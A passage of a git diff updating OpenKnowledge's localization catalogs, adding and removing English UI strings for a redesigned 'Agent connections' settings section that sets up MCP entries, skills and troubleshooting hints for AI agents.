["Your images"],"uVbUP8": ["Settings…"],+ "uVhq9B": ["Installs the OpenKnowledge discovery skill for this agent."],"uX85yl": ["Setup files include: <0>.ok/</0>, AI-tool MCP configs (<1>.mcp.json</1> and per-tool files). Your skills are not covered — they follow git like any other file in the project.<2/><3>Shared</3> commits them to git, so anyone who clones the repo gets the same setup. <4/><5>Only me</5> keeps them out of git (via <6>.git/info/exclude</6>)."],@@ -4723,6 +4917,7 @@"vvWZnu": ["Diff unavailable"],"vwV-kH": ["Fixing files stopped unexpectedly."],"vy_VIN": ["Tracked in git — updates flow through your repo (pull or CI), not auto-update"],+ "vyjTYE": [["changeCount", "plural", { "one": ["#", " change"], "other": ["#", " changes"] }]],"w0YVAE": ["Show skill nodes"],"w3tVpc": ["No links yet. Add wiki links or markdown links to build a graph."],"w3vFfL": ["Hide Files"],@@ -4758,6 +4953,7 @@"wQp1V3": ["Mirror of <0>", ["src"], "</0>"],"wQvvZY": ["New skill file"],"wRni1Z": ["Disable Slidev"],+ "wSBXaS": ["Manage ", ["rowLabel"]],"wT4iQr": ["Open visual-editor find with replace controls expanded."],"wTcjov": ["No workspace"],"wU8WyK": ["Element fields"],@@ -4783,7 +4979,9 @@"wdxz7K": ["Source"],"wdzBgi": ["Config sharing is now Only me."],"weP6me": ["Couldn't load docs — type @ again to retry"],+ "wfZwqe": ["Install ", ["rowLabel"]],"wgNoIs": ["Select all"],+ "wgj--j": ["Adds a global OpenKnowledge MCP entry for this agent."],"wk_v1X": ["Sync is set to Auto (Pull and Push) for this worktree, inherited from ",["project"],@@ -4925,7 +5123,6 @@"yZmvQ4": ["This project's server (v", ["0"], ") is newer than this app (v", ["1"], ")."],"y_5CE8": ["Item ", ["0"]],"y_K0Dz": ["What happened?"],- "yaPGPa": ["Open a project to manage its AI tool connections."],"ybPMz3": ["Couldn't pin ", ["name"]],"ycIX5i": ["You're signed out — sign in to resume syncing."],"yckias": ["Rename file"],@@ -4947,9 +5144,6 @@["source"],"</0> — agents running here can't load it. Copy it in to edit."],- "yhdqox": [- "Installed — ok is available in external terminals. Unchecking removes it; OpenKnowledge's built-in terminal and AI tools keep working."- ],"yhy5h-": ["See all ", ["count"], " skills"],"yit5dF": ["No folders in this project yet."],"yjExfe": ["Branch <0>", ["shareBranch"], "</0> is checked out in:"],@@ -4962,7 +5156,6 @@"yvG-l1": ["Open source lint panel"],"yvHDYG": ["Claude Desktop"],"yvSAuM": ["Stop fixing. Files already fixed stay fixed."],- "ywVfOE": ["This project's skill moved to Skills Studio."],"yxF19Y": [["0", "plural", { "one": ["#", " plugin"], "other": ["#", " plugins"] }]],"yz7wBu": ["Close"],"yzF66j": ["Link"],diff --git a/packages/app/src/locales/en/messages.po b/packages/app/src/locales/en/messages.poindex 33cff5634..20b5525ff 100644--- a/packages/app/src/locales/en/messages.po+++ b/packages/app/src/locales/en/messages.po@@ -330,6 +330,12 @@ msgstr "{0} lets {1} act without asking"msgid "{0} needs {1}"msgstr "{0} needs {1}"+#. placeholder {0}: removed.dependent+#. placeholder {1}: removed.prerequisite+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{0} needs {1}. Turn both off, or keep both on."+msgstr "{0} needs {1}. Turn both off, or keep both on."+#. placeholder {0}: item.displayName#: src/components/acp/ThreadView.tsxmsgid "{0} needs replacing"@@ -470,6 +476,31 @@ msgstr "{0}y ago"msgid "{accessibleLabel} (conflict)"msgstr "{accessibleLabel} (conflict)"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude-desktop.per-tool-approval"+msgstr "{agent} asks you to approve each OpenKnowledge tool the first time it is used."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.session-injection"+msgstr "{agent} gets OpenKnowledge's tools each time OpenKnowledge launches it; nothing is written to its config."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.pi.folder-trust"+msgstr "{agent} loads project extensions only in folders you have trusted; trust this folder in {agent} if the tools do not appear."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.copilot.shared-workspace-config"+msgstr "{agent} reads the workspace MCP config OpenKnowledge writes for {sourceAgent}; removing it for one removes it for both."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.openclaw.central-store-missing"+msgstr "{agent}'s central skills store does not exist yet; start {agent} once so it creates it, then try again."+#: src/components/acp/ThreadView.tsxmsgid "{agentName} couldn't start a conversation."msgstr "{agentName} couldn't start a conversation."@@ -520,6 +551,10 @@ msgstr "{boldName} is part of the <0>{0}</0> plugin{pluginVersion} — read-onlymsgid "{boldName} lives outside this project, at <0>{source}</0> — agents running here can't load it. Copy it in to edit."msgstr "{boldName} lives outside this project, at <0>{source}</0> — agents running here can't load it. Copy it in to edit."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{changeCount, plural, one {# change} other {# changes}}"+msgstr "{changeCount, plural, one {# change} other {# changes}}"+#: src/components/EditorFooter.tsxmsgid "{chars, plural, one {char} other {chars}}"msgstr "{chars, plural, one {char} other {chars}}"@@ -609,6 +644,26 @@ msgstr "{days, plural, one {# day ago} other {# days ago}}"msgid "{days}d ago"msgstr "{days}d ago"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge cannot safely replace that entry in this file's format."+msgstr "{dependent} needs {prerequisite}, and OpenKnowledge cannot safely replace that entry in this file's format."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge could not find this agent on this machine."+msgstr "{dependent} needs {prerequisite}, and OpenKnowledge could not find this agent on this machine."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge does not recognize that entry. Tick {prerequisite} to replace it, then save again."+msgstr "{dependent} needs {prerequisite}, and OpenKnowledge does not recognize that entry. Tick {prerequisite} to replace it, then save again."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and this agent has no file of that kind on this machine yet. Open the agent once, then try again."+msgstr "{dependent} needs {prerequisite}, and this agent has no file of that kind on this machine yet. Open the agent once, then try again."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, which OpenKnowledge cannot set up for you. Its setup guide has the manual steps."+msgstr "{dependent} needs {prerequisite}, which OpenKnowledge cannot set up for you. Its setup guide has the manual steps."+#: src/editor/extensions/JsxComponentView.tsxmsgid "{descriptorLabel} — render error, source editable below"msgstr "{descriptorLabel} — render error, source editable below"@@ -650,7 +705,7 @@ msgstr "{displayName} ({bin}) isn't installed or on your PATH."#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} CLI"msgstr "{displayName} CLI"@@ -660,7 +715,7 @@ msgid "{displayName} CLI, {hint}"msgstr "{displayName} CLI, {hint}"#: src/components/handoff/agent-launcher-labels.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} Desktop"msgstr "{displayName} Desktop"@@ -1064,10 +1119,6 @@ msgstr "<{componentName}> isn't a known component. Copy the source to use it elsmsgid "<{descriptorLabel}> failed to render (likely a bad prop). Copy the source to see what went wrong, or delete the block."msgstr "<{descriptorLabel}> failed to render (likely a bad prop). Copy the source to see what went wrong, or delete the block."-#: src/components/settings/AiToolsSection.tsx-msgid "<0>~/.ok/bin</0> and <1>~/.ok/env.sh</1> stay either way — the app always maintains them."-msgstr "<0>~/.ok/bin</0> and <1>~/.ok/env.sh</1> stay either way — the app always maintains them."-#: src/editor/components/Mirror.tsxmsgid "<0>Mirror — pick a source.</0> Set <1>src</1> + <2>anchor</2> via the property panel to point at a <3><MirrorSource></3> elsewhere."msgstr "<0>Mirror — pick a source.</0> Set <1>src</1> + <2>anchor</2> via the property panel to point at a <3><MirrorSource></3> elsewhere."@@ -1493,6 +1544,14 @@ msgstr "Add item to {keyName}"msgid "Add link"msgstr "Add link"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill"+msgstr "Add MCP & skill"++#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill for {rowLabel}"+msgstr "Add MCP & skill for {rowLabel}"+#: src/components/settings/SearchSection.tsxmsgid "Add meaning-based ranking to search so conceptually-related pages surface even when they share no keywords."msgstr "Add meaning-based ranking to search so conceptually-related pages surface even when they share no keywords."@@ -1531,10 +1590,9 @@ msgstr "Add tab"msgid "Add tag"msgstr "Add tag"-#. Checkbox in Settings → AI tools & CLI that adds the ok CLI to the user's shell PATH#. Toggle in the first-launch dialog that adds the ok CLI to the user's shell PATH#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Add the <0>ok</0> command to your terminal"msgstr "Add the <0>ok</0> command to your terminal"@@ -1568,16 +1626,15 @@ msgstr "Add your comments to this message"msgid "Added"msgstr "Added"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds a global OpenKnowledge MCP entry for this agent."+msgstr "Adds a global OpenKnowledge MCP entry for this agent."+#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Adds a managed block to"msgstr "Adds a managed block to"-#. placeholder {0}: status.path.rcFilesToTouch.join(', ')-#: src/components/settings/AiToolsSection.tsx-msgid "Adds a managed block to {0}"-msgstr "Adds a managed block to {0}"-#. Subtext under the project AI-tools checkbox#: src/components/ProjectAiToolsField.tsxmsgid "Adds an OpenKnowledge MCP entry and the project skill to <0>{toolList}</0>, so your agents can read and edit your files."@@ -1588,6 +1645,20 @@ msgstr "Adds an OpenKnowledge MCP entry and the project skill to <0>{toolList}</msgid "Adds an OpenKnowledge MCP entry to <0>{connectToolList}</0>, so your agents can read and edit your files."msgstr "Adds an OpenKnowledge MCP entry to <0>{connectToolList}</0>, so your agents can read and edit your files."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds an OpenKnowledge MCP entry to this project's agent config."+msgstr "Adds an OpenKnowledge MCP entry to this project's agent config."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.user-config"+msgstr "Adds OpenKnowledge to {agent}'s own MCP config, so every project on this machine is reachable."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.project-config"+msgstr "Adds OpenKnowledge to the MCP config {agent} reads in this project, so it can read, search, and edit these documents."+#: src/components/ReportBugDialogBody.tsxmsgid "Adds telemetry, server state, and runtime info when available. Credentials are always removed; document names, if included, appear in cleartext (not redacted)."msgstr "Adds telemetry, server state, and runtime info when available. Credentials are always removed; document names, if included, appear in cleartext (not redacted)."@@ -1640,6 +1711,11 @@ msgstr "Agent chats"msgid "Agent configuration file"msgstr "Agent configuration file"+#: src/components/settings/AgentConnectionsSection.tsx+#: src/components/settings/SettingsDialogShell.tsx+msgid "Agent connections"+msgstr "Agent connections"+#: src/components/acp/ThreadView.tsxmsgid "Agent mode"msgstr "Agent mode"@@ -1661,23 +1737,14 @@ msgid "Agent transcript"msgstr "Agent transcript"#: src/components/ExploreSkills.tsx+#: src/components/settings/SettingsDialogShell.tsxmsgid "Agents"msgstr "Agents"-#: src/components/settings/AiToolsSection.tsx-msgid "AI tool management is only available in the OpenKnowledge desktop app."-msgstr "AI tool management is only available in the OpenKnowledge desktop app."--#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/settings/SettingsDialogShell.tsxmsgid "AI tools"msgstr "AI tools"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/SettingsDialogShell.tsx-msgid "AI tools & CLI"-msgstr "AI tools & CLI"-#: src/editor/bubble-menu/ImageAlignButtons.tsxmsgid "Align center"msgstr "Align center"@@ -2397,14 +2464,6 @@ msgstr "Callouts draw attention to key information."msgid "Can't nest projects. An OpenKnowledge project already exists at <0>{rootPath}</0>. Choose a location outside it, or open that project instead."msgstr "Can't nest projects. An OpenKnowledge project already exists at <0>{rootPath}</0>. Choose a location outside it, or open that project instead."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Can't safely edit this project config"-msgstr "Can't safely edit this project config"--#: src/components/settings/AiToolsSection.tsx-msgid "Can't safely edit this tool's config"-msgstr "Can't safely edit this tool's config"-#: src/lib/share/run-share-action.tsmsgid "Can't share this path."msgstr "Can't share this path."@@ -2433,6 +2492,7 @@ msgstr "Can't share this path."#: src/components/PublishToGitHubDialog.tsx#: src/components/ReportBugDialogBody.tsx#: src/components/SeedDialog.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/LinkPreviewsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/NetworkAccessSection.tsx@@ -2659,6 +2719,15 @@ msgstr "Choose icon"msgid "Choose what a new tab starts"msgstr "Choose what a new tab starts"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up for {0}."+msgstr "Choose what OpenKnowledge sets up for {0}."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up."+msgstr "Choose what OpenKnowledge sets up."+#: src/comments/CommentSendFooter.tsxmsgid "Choose where to send these comments"msgstr "Choose where to send these comments"@@ -2671,9 +2740,9 @@ msgstr "Choose where to send this message"msgid "Choose whether this project's OpenKnowledge setup, including its AI-tool connections, is saved with the project so teammates get it too, or kept only on your computer."msgstr "Choose whether this project's OpenKnowledge setup, including its AI-tool connections, is saved with the project so teammates get it too, or kept only on your computer."-#: src/components/settings/ConfigureAgentsSection.tsx-msgid "Choose which agents appear in agent menus across the app, such as Ask AI, Open with AI, and the + new chat button. Turn an agent off to hide it from all of them."-msgstr "Choose which agents appear in agent menus across the app, such as Ask AI, Open with AI, and the + new chat button. Turn an agent off to hide it from all of them."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Choose which agents appear in agent menus across the app, and set them up to read and update your documents."+msgstr "Choose which agents appear in agent menus across the app, and set them up to read and update your documents."#. Section label above the light/dark/system cards in the first-launch dialog#: src/components/McpConsentDialogBody.tsx@@ -3147,7 +3216,6 @@ msgstr "Configuration warnings"#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/TerminalNewChatButton.tsxmsgid "Configure agents"@@ -3212,10 +3280,6 @@ msgstr "Connect GitHub to continue."msgid "Connect OpenKnowledge to other tools you use."msgstr "Connect OpenKnowledge to other tools you use."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connect the AI tools you use to this specific project. These files live in the project folder, so anyone who opens it gets the same setup."-msgstr "Connect the AI tools you use to this specific project. These files live in the project folder, so anyone who opens it gets the same setup."-#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -3244,6 +3308,10 @@ msgstr "Connect your AI tools"msgid "Connect your AI tools to this project"msgstr "Connect your AI tools to this project"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Connected"+msgstr "Connected"+#. placeholder {0}: response.dimensions#: src/components/settings/SearchSection.tsxmsgid "Connected — this endpoint returns {0}-dimension vectors."@@ -3292,10 +3360,18 @@ msgstr "Connection error — try again"msgid "Connection lost — keep this tab open, your edits will sync when reconnected"msgstr "Connection lost — keep this tab open, your edits will sync when reconnected"-#. Next step for a Codex project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connects automatically the next time you open this project in a trusted Codex session."-msgstr "Connects automatically the next time you open this project in a trusted Codex session."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.trust-gated"+msgstr "Connects automatically the next time you open this project in a trusted {agent} session."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to OpenKnowledge in every project on this machine."+msgstr "Connects the agent to OpenKnowledge in every project on this machine."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to this project so it can read, search, and edit your documents."+msgstr "Connects the agent to this project so it can read, search, and edit your documents."#: src/components/acp/working-status.tsmsgid "Contemplating…"@@ -3663,9 +3739,8 @@ msgid "Couldn't add that comment."msgstr "Couldn't add that comment."#. placeholder {0}: err instanceof Error ? err.message : String(err)-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Couldn't apply the change: {0}"msgstr "Couldn't apply the change: {0}"@@ -3673,6 +3748,10 @@ msgstr "Couldn't apply the change: {0}"msgid "Couldn't check whether {filePath} is still conflicted — retrying."msgstr "Couldn't check whether {filePath} is still conflicted — retrying."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Couldn't check which tools are connected."+msgstr "Couldn't check which tools are connected."+#: src/components/settings/SearchSection.tsxmsgid "Couldn't clear the key — please try again."msgstr "Couldn't clear the key — please try again."@@ -3948,7 +4027,7 @@ msgstr "Couldn't reach collab server — {errorDetail}. Try <0>ok status</0> ormsgid "Couldn't reach GitHub. Try again?"msgstr "Couldn't reach GitHub. Try again?"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Couldn't reach the agent registry."msgstr "Couldn't reach the agent registry."@@ -4401,11 +4480,6 @@ msgstr "Custom endpoint"msgid "Custom HTML with a live preview pane (sandboxed iframe)."msgstr "Custom HTML with a live preview pane (sandboxed iframe)."-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Custom open-knowledge entry — not managed by OpenKnowledge"-msgstr "Custom open-knowledge entry — not managed by OpenKnowledge"-#: src/components/settings/SkillTargetsPicker.tsxmsgid "Custom skills folder path"msgstr "Custom skills folder path"@@ -4776,6 +4850,10 @@ msgstr "Disconnect"msgid "Disconnecting"msgstr "Disconnecting"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Discovery skills are managed for all AI tools together. Install this one from Settings → Skills Studio."+msgstr "Discovery skills are managed for all AI tools together. Install this one from Settings → Skills Studio."+#: src/components/BranchRecycleBanner.tsx#: src/components/NavigatorApp.tsx#: src/components/OnboardingCard.tsx@@ -5260,17 +5338,17 @@ msgstr "Empty starting content"#. placeholder {0}: agent.name#. placeholder {0}: plugin.label#. placeholder {0}: rule.name-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/markdownlint-rule-browser.tsxmsgid "Enable {0}"msgstr "Enable {0}"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} CLI"msgstr "Enable {displayName} CLI"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} Desktop"msgstr "Enable {displayName} Desktop"@@ -5416,11 +5494,6 @@ msgstr "Enter a valid URL, for example https://notes.example.com"msgid "Enter the public origin your tunnel serves, for example https://notes.example.com"msgstr "Enter the public origin your tunnel serves, for example https://notes.example.com"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Entry"-msgstr "Entry"-#: src/components/settings/ContentRulesSection.tsxmsgid "Error"msgstr "Error"@@ -5563,7 +5636,7 @@ msgstr "Exposing pins a fixed port so the tunnel's target stays stable across re#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "External apps"msgstr "External apps"@@ -5947,8 +6020,6 @@ msgstr "Fields"#: src/components/AppMenubar.tsx#: src/components/CommandPalette.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/share-metadata-rows.tsx#: src/editor/slash-command/component-items.tsx#: src/lib/native-menu-catalog.ts@@ -6356,9 +6427,9 @@ msgstr "GitHub, a git URL, or a local path."msgid "Give it a name before editing its colors."msgstr "Give it a name before editing its colors."-#: src/components/settings/AiToolsSection.tsx-msgid "Give the AI tools you use access to read and update your projects. Checking a box sets it up right away; unchecking removes it."-msgstr "Give the AI tools you use access to read and update your projects. Checking a box sets it up right away; unchecking removes it."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Gives the agent instructions for working with your documents and keeps its edits attributed."+msgstr "Gives the agent instructions for working with your documents and keeps its edits attributed."#: src/components/settings/LintingSection.tsxmsgid "Glob patterns this schema applies to"@@ -6370,6 +6441,10 @@ msgstr "Glob patterns this schema applies to"msgid "Global"msgstr "Global"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Global MCP server"+msgstr "Global MCP server"+#: src/lib/keyboard-shortcuts.tsmsgid "Global outside text fields"msgstr "Global outside text fields"@@ -6509,6 +6584,7 @@ msgstr "Help"#. Subtext under the discovery-skill checkbox#: src/components/McpConsentDialogBody.tsx+#: src/components/settings/AgentConnectionDialogs.tsxmsgid "Help your agents discover and use OpenKnowledge in any project."msgstr "Help your agents discover and use OpenKnowledge in any project."@@ -6718,15 +6794,13 @@ msgstr "How often this computer pulls changes from your remote."msgid "How to push manually"msgstr "How to push manually"-#. Link on an undetected tool row to its OpenKnowledge setup guide-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "How to set up"msgstr "How to set up"-#. placeholder {0}: editor.label-#: src/components/settings/AiToolsSection.tsx-msgid "How to set up {0} (opens in browser)"-msgstr "How to set up {0} (opens in browser)"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "How to set up {rowLabel}"+msgstr "How to set up {rowLabel}"#: src/components/settings/builtin-skill-copy.tsmsgid "How to set up new projects with OpenKnowledge."@@ -6785,6 +6859,21 @@ msgstr "ID: {0}"msgid "Identical in both — {pick} still reads them."msgstr "Identical in both — {pick} still reads them."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.lm-studio.config-path-mismatch"+msgstr "If {agent} shows no OpenKnowledge tools, check that its MCP config path in its settings matches the file OpenKnowledge wrote."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude.project-entry-not-approved"+msgstr "If {agent} shows no OpenKnowledge tools, run it in this project and approve the OpenKnowledge server once."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.cursor.project-entry-not-loaded"+msgstr "If {agent} shows no OpenKnowledge tools, turn the server on under Settings → Tools & MCP; {agent} leaves project servers off until you do."+#: src/components/AutoSyncEnableWarning.tsxmsgid "If an update arrives for something you are editing, you choose which version to keep, like a merge conflict."msgstr "If an update arrives for something you are editing, you choose which version to keep, like a merge conflict."@@ -6888,7 +6977,7 @@ msgstr "In an index document: entries sit under a section heading and each one c#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TerminalNewChatButton.tsxmsgid "In app"msgstr "In app"@@ -7075,6 +7164,7 @@ msgid "Insert, delete, move, copy, and indent source editor lines through CodeMimsgstr "Insert, delete, move, copy, and indent source editor lines through CodeMirror's default keymap."#: src/components/InstallInClaudeDesktopDialog.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/IntegrationsSection.tsx#: src/components/settings/ProjectSkillSection.tsx#: src/components/settings/SkillsStudioIntroDialog.tsx@@ -7096,6 +7186,10 @@ msgstr "Install {0}"msgid "Install {brand} →"msgstr "Install {brand} →"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Install {rowLabel}"+msgstr "Install {rowLabel}"+#: src/components/settings/SkillTargetsPicker.tsxmsgid "install a skill here first"msgstr "install a skill here first"@@ -7172,22 +7266,12 @@ msgstr "Install the gh CLI"msgid "Install this skill"msgstr "Install this skill"-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/LintingSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/SkillEditorActions.tsx#: src/components/SkillPluginBundleDialog.tsxmsgid "Installed"msgstr "Installed"-#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; OpenKnowledge's built-in terminal and AI tools keep working."-msgstr "Installed — ok is available in external terminals. Unchecking removes it; OpenKnowledge's built-in terminal and AI tools keep working."--#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; your AI tools keep working."-msgstr "Installed — ok is available in external terminals. Unchecking removes it; your AI tools keep working."-#. placeholder {0}: skill.name#. placeholder {1}: label(added)#: src/components/skill-actions.tsx@@ -7245,6 +7329,14 @@ msgstr "Installs for all your projects"msgid "Installs into this project"msgstr "Installs into this project"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge discovery skill for this agent."+msgstr "Installs the OpenKnowledge discovery skill for this agent."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge project skill for this agent."+msgstr "Installs the OpenKnowledge project skill for this agent."+#: src/components/SkillInstallMenu.tsxmsgid "Installs the skill to {path} — the first location holds its own copy"msgstr "Installs the skill to {path} — the first location holds its own copy"@@ -7643,7 +7735,7 @@ msgstr "Loading {fileName}"msgid "Loading agent activity"msgstr "Loading agent activity"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Loading agents…"msgstr "Loading agents…"@@ -7866,11 +7958,16 @@ msgstr "Malformed listPacks response"msgid "Malformed plan response"msgstr "Malformed plan response"+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx#: src/components/settings/ProjectSkillSection.tsxmsgid "Manage"msgstr "Manage"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Manage {rowLabel}"+msgstr "Manage {rowLabel}"+#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileTree.tsxmsgid "Manage hidden files in Settings → Ignore patterns."@@ -7884,13 +7981,10 @@ msgstr "Manage skill folders"msgid "Manage the GitHub account OpenKnowledge uses to browse and sync your repositories."msgstr "Manage the GitHub account OpenKnowledge uses to browse and sync your repositories."-#: src/components/settings/AiToolsSection.tsx-msgid "Managing AI tools is unavailable in this build."-msgstr "Managing AI tools is unavailable in this build."--#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Managing project AI tools is unavailable in this build."-msgstr "Managing project AI tools is unavailable in this build."+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Managing agent connections is unavailable in this build."+msgstr "Managing agent connections is unavailable in this build."#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsx@@ -7946,12 +8040,9 @@ msgstr "Maximum agents already running"msgid "MCP auto-repair failed"msgstr "MCP auto-repair failed"-#. Group label above the per-editor MCP list in Settings → AI tools & CLI — each row wires OpenKnowledge's MCP server into that tool-#. Group label above the per-editor project MCP list in Settings → This project → AI tools-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "MCP connections"-msgstr "MCP connections"+#: src/lib/install-onboarding-toast.ts+msgid "MCP auto-repair failed for {failures}"+msgstr "MCP auto-repair failed for {failures}"#: src/components/SkillPluginBundleBanner.tsxmsgid "MCP servers"@@ -8068,6 +8159,10 @@ msgstr "Modify the link target, anchor, and display label."msgid "More"msgstr "More"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "More information"+msgstr "More information"+#: src/editor/components/PreviewBlockedNotice.tsxmsgid "More requests were blocked."msgstr "More requests were blocked."@@ -8537,7 +8632,7 @@ msgstr "No agent is set up yet — pick one from the send menu."msgid "no agents — saved, not installed anywhere"msgstr "no agents — saved, not installed anywhere"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents available."msgstr "No agents available."@@ -8546,7 +8641,7 @@ msgstr "No agents available."msgid "No agents enabled"msgstr "No agents enabled"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents match your search."msgstr "No agents match your search."@@ -8910,11 +9005,12 @@ msgstr "Not answered"msgid "Not attached to desktop bridge"msgstr "Not attached to desktop bridge"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not available on this platform"msgstr "Not available on this platform"#: src/components/settings/AccountSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not connected"msgstr "Not connected"@@ -8922,6 +9018,10 @@ msgstr "Not connected"msgid "Not connected to GitHub."msgstr "Not connected to GitHub."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Not detected on this machine"+msgstr "Not detected on this machine"+#: src/components/FeedbackForm.tsxmsgid "Not great"msgstr "Not great"@@ -8932,7 +9032,7 @@ msgstr "Not in sidebar"#: src/components/CommandPalette.tsx#: src/components/handoff/OpenInAgentMenuItem.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not installed"msgstr "Not 